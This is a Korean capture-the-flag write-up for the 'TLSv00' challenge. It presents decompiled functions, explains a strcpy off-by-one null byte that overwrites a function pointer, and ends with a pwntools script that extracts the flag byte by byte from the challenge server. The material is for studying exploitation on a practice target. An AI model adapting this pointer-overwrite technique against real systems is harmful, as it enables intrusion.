TLSv00 write up
바이너리에 모든 메모리 보호기법이 적용되어있다.
TLSv00을 풀이하기 위해서는 각각의 기능에 대해 조금은(?) 자세하게 알고있어야한다.
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int idx; // eax@2
int size; // ST0C_4@9
setup();
puts("Muahaha you thought I would never make a crypto chal?");
generate_key(63u);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
print_menu();
printf("> ", argv);
idx = read_int32();
if ( idx != 2 )
break;
load_flag();
}
if ( idx > 2 )
break;
if ( idx != 1 )
goto LABEL_12;
printf("key len: ");
size = read_int32();
generate_key(size);
}
if ( idx == 3 )
{
print_flag();
}
else if ( idx != 4 )
{
LABEL_12:
puts("Invalid");
}
}
}
main()함수는 다음과 같이 구성되어있고,
루프에 돌기 전 setup(), generate_key()함수를 호출하여 세팅을 하고,
무한루프를 돌며 if문의 조건에 따라 generate_key(), load_flag(), print_flag()함수로 분기한다.
generate_key()함수는 그림과 같이 main()함수에서 두번 호출되는데,
첫 번째 호출은 루프를 돌기 전, 이후는 사용자가 1을 입력했을 때 호출된다.
사용자가 1을 입력할 경우 main()에서 read_int32()를 통해 size를 입력받고, generate_key()함수로 분기하는데,
__int64 __fastcall generate_key(unsigned int size)
{
signed int idx; // [sp+18h] [bp-58h]@7
int fd; // [sp+1Ch] [bp-54h]@4
char buf[72]; // [sp+20h] [bp-50h]@4
__int64 v5; // [sp+68h] [bp-8h]@1
v5 = *MK_FP(__FS__, 40LL);
if ( (signed int)size > 0 && size <= 64 )
{
memset(buf, 0, 72uLL);
fd = open("/dev/urandom", 0);
if ( fd == -1 )
{
puts("Can't open /dev/urandom");
exit(1);
}
read(fd, buf, (signed int)size);
for ( idx = 0; idx < (signed int)size; ++idx )
{
while ( !buf[idx] )
read(fd, &buf[idx], 1uLL);
}
strcpy(key, buf);
close(fd);
}
else
{
puts("Invalid key size");
}
return *MK_FP(__FS__, 40LL) ^ v5;
}
해당 함수에서는 사용자가 입력한 size가 0보다 크고, 64를 넘기지 않는 수 인지 검사하고,
size가 1~64 사이의 값일때 해당 사이즈에 만족하는 랜덤값을 buf에 넣고, key에 strcpy()함수로 값복사를 한다.
다음으로 main()으로 돌아와 2를 입력할 경우 load_flag()함수가 호출되는데,
int load_flag()
{
unsigned int idx; // [sp+8h] [bp-8h]@4
int fd; // [sp+Ch] [bp-4h]@1
fd = open("/flag", 0);
if ( fd == -1 )
{
puts("Can't open flag");
exit(1);
}
read(fd, flag, 64uLL);
for ( idx = 0; idx <= 63; ++idx )
flag[idx] ^= key[idx];
return close(fd);
}
load_flag()함수에서는 말 그대로 /flag파일에서 값을 읽어와 전역으로 선언된 flag배열에 key값과 xor하여 저장을 한다.
마지막으로 다시 main()으로 돌아와서 3을 입력하면 print_flag()함수가 호출된다.
int print_flag()
{
int result; // eax@1
puts("WARNING: NOT IMPLEMENTED.");
result = (unsigned __int8)do_comment;
if ( !(_BYTE)do_comment )
{
printf("Wanna take a survey instead? ");
if ( getchar() == 'y' )
do_comment = (int (*)(void))f_do_comment;
result = do_comment();
}
return result;
}
printf_flag()함수는 do_comment에 저장된 값을 result에 넣고, 만약 해당 변수에 값이 없을 경우 사용자로부터 입력을 받고, 입력 값이 'y'일 경우 f_do_comment()함수의 주소를 저장하게 된다.
이후 해당 위치에 저장된 함수가 호출되게 된다.
__int64 f_do_comment()
{
char buf; // [sp+10h] [bp-30h]@1
__int64 v2; // [sp+38h] [bp-8h]@1
v2 = *MK_FP(__FS__, 40LL);
printf("Enter comment: ");
read(0, &buf, 0x21uLL);
return *MK_FP(__FS__, 40LL) ^ v2;
}
f_do_comment()함수에서는 buffer에 0x21만큼을 입력받는다.
int real_print_flag()
{
return printf("%s", flag);
}
그리고 real_print_flag()라는 함수가 존재하는데, flag변수의 값을 %s로 출력해주는 역할을 한다.
공격 시나리오는 다음과 같다.
1. f_do_comment()함수의 주소를 가리키는 do_comment가 real_print_flag()함수의 주소를 가리키도록 변조한다.
2. Re-generate key, Load flag, Print flag 기능을 이용하여 flag를 1byte씩 뽑아낸다.
setup(), generate_key()함수를 거치고, main()함수 루프에 들어오게 되면
다음과 같이 63byte의 난수가 key라는 변수에 저장되고
3번 메뉴를 실행한 뒤 'y'를 입력하면 다음과 같이 do_comment에 f_do_comment()함수의 주소가 저장되는데,
공교롭게도 real_print_flag()함수의 주소는 00으로 끝난다.
전역변수인 key는 64byte 크기를 갖고 바로 뒤에 do_comment변수가 위치하게 되는데,
generate_key()함수에서 보면 key를 저장할 때 strcpy()함수를 이용하여 저장을 한다.
genrate_key()함수에서 read할 수 있는 size의 최대 크기는 64이고,
strcpy()함수는 문자열 복사가 끝난 뒤 NULL byte를 넣음으로서 문자열의 끝임을 알리기 때문에
generate_key()함수에 인자값으로 64를 입력하게 되면 do_comment가 가리키는 주소의 첫 번째 byte가 NULL byte로 Overwrite되게 된다.
이를 통해 do_comment는 f_do_comment()함수의 주소가 아닌 real_print_flag()함수의 주소를 가리키게되고,
사용자가 Print flag(input 3)을 진행하면 real_print_flag()함수가 호출되게 된다.
key를 생성할 때 1부터 64까지 사용자가 직접 조절할 수 있고, generate_key()함수 내부에서 key에 값을 복사할 때 strcpy()함수를 사용함으로서 항상 문자열 끝에는 NULL byte가 붙을 것이다.
이를 이용하면 plain 상태의 flag를 출력할 수 있는데, 과정은 다음과 같다.
Re-generate key (1~64) -> Load flag -> Print flag
generate_key()에 1byte의 key가 생성되면
| 난수(1byte) | NULL (1byte) |
위의 형태로 key가 세팅되고, 여기서 Load flag를 하게 되면
해당 key와 flag값이 xor연산이 되어 flag라는 변수에 저장되게 되는데
0과 어떠한 수를 xor연산하더라도 원본 그대로를 출력한다.
이 점을 이용하여 size를 1부터 64까지 조정하며 flag를 출력하면 된다.
from pwn import *
# p = process('./challenge')
p = remote("svc.pwnable.xyz", 30006)
# Step 1. f_do_comment() -> real_print_flag()
# f_do_comment() -> real_print_flag()
p.sendlineafter('> ', '3')
p.sendlineafter('instead? ', 'y')
p.sendlineafter('> ', '1')
p.sendlineafter('len: ', '64')
flag = ''
for idx in range(1,63):
# input 1 ~ 64 : idx
p.sendlineafter('> ', '1')
p.sendlineafter('len: ', str(idx))
# load flag
p.sendlineafter('> ', '2')
# call real_print_flag()
p.sendlineafter('> ', '3')
p.sendlineafter('instead? ', 'a')
# print "RECV :", p.recv(64)[idx:idx+1]
flag += p.recv(64)[idx:idx+1]
print "RECV :F" + flag
p.interactive()
:)